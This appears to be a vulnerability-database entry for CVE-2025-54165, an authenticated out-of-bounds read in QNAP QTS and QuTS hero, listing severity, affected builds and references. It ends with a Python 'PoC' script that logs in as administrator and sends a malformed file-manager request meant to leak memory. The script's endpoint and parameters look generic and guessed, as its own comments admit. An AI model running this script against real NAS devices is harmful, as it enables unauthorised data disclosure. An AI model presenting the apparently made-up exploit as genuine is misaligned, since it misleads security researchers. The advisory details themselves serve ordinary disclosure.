CVE-2025-54165

Description

An out-of-bounds read vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to obtain secret data. We have already fixed the vulnerability in the following versions: QTS 5.2.7.3256 build 20250913 and later QuTS hero h5.2.7.3256 build 20250913 and later QuTS hero h5.3.1.3250 build 20250912 and later

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QNAP QTS < 5.2.7.3256 build 20250913

QuTS hero h5.2.7.3256 < build 20250913

QuTS hero h5.3.1.3250 < build 20250912

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-54165 PoC - QNAP NAS Out-of-Bounds Read
# Note: This PoC requires valid administrator credentials

import requests
import sys

TARGET = "https://target-nas.local"
USERNAME = "admin"
PASSWORD = "admin_password"

def exploit():
    """Attempt to trigger OOB read via malformed API request"""
    session = requests.Session()
    
    # Step 1: Authenticate as administrator
    login_url = f"{TARGET}/cgi-bin/authLogin.cgi"
    auth_data = {
        "username": USERNAME,
        "password": PASSWORD
    }
    
    try:
        resp = session.post(login_url, data=auth_data, timeout=10)
        if resp.status_code != 200:
            print("[-] Authentication failed")
            return False
        print("[+] Authenticated successfully")
        
        # Step 2: Send crafted request to trigger OOB read
        # Target vulnerable endpoint (specific path varies by version)
        exploit_url = f"{TARGET}/cgi-bin/filemanager/utilRequest.cgi"
        
        # Malformed parameter designed to bypass boundary checks
        headers = {
            "Cookie": f"NAS_SID={session.cookies.get('NAS_SID')}",
            "Content-Type": "application/x-www-form-urlencoded"
        }
        
        # OOB read trigger payload
        payload = {
            "func": "get_file_list",
            "path": "A" * 10000,  # Overflow input
            "offset": -1,  # Negative offset triggers OOB read
            "count": 999999
        }
        
        print("[*] Sending exploit payload...")
        resp = session.post(exploit_url, data=payload, headers=headers, timeout=30)
        
        # Step 3: Analyze response for leaked data
        if len(resp.content) > 50000:  # Unusually large response may contain leaked memory
            print("[!] Potential data leak detected")
            print(f"[+] Response size: {len(resp.content)} bytes")
            # Log response for analysis (in real scenario)
            return True
        else:
            print("[-] No obvious leak detected")
            return False
            
    except Exception as e:
        print(f"[-] Error: {str(e)}")
        return False

if __name__ == "__main__":
    print("CVE-2025-54165 QNAP OOB Read PoC")
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-54165
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-54165
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-54165/
[4] VulDB https://vuldb.com/cve/CVE-2025-54165
[5] https://www.qnap.com/en/security-advisory/qsa-25-50

Raw JSON Data

JSON

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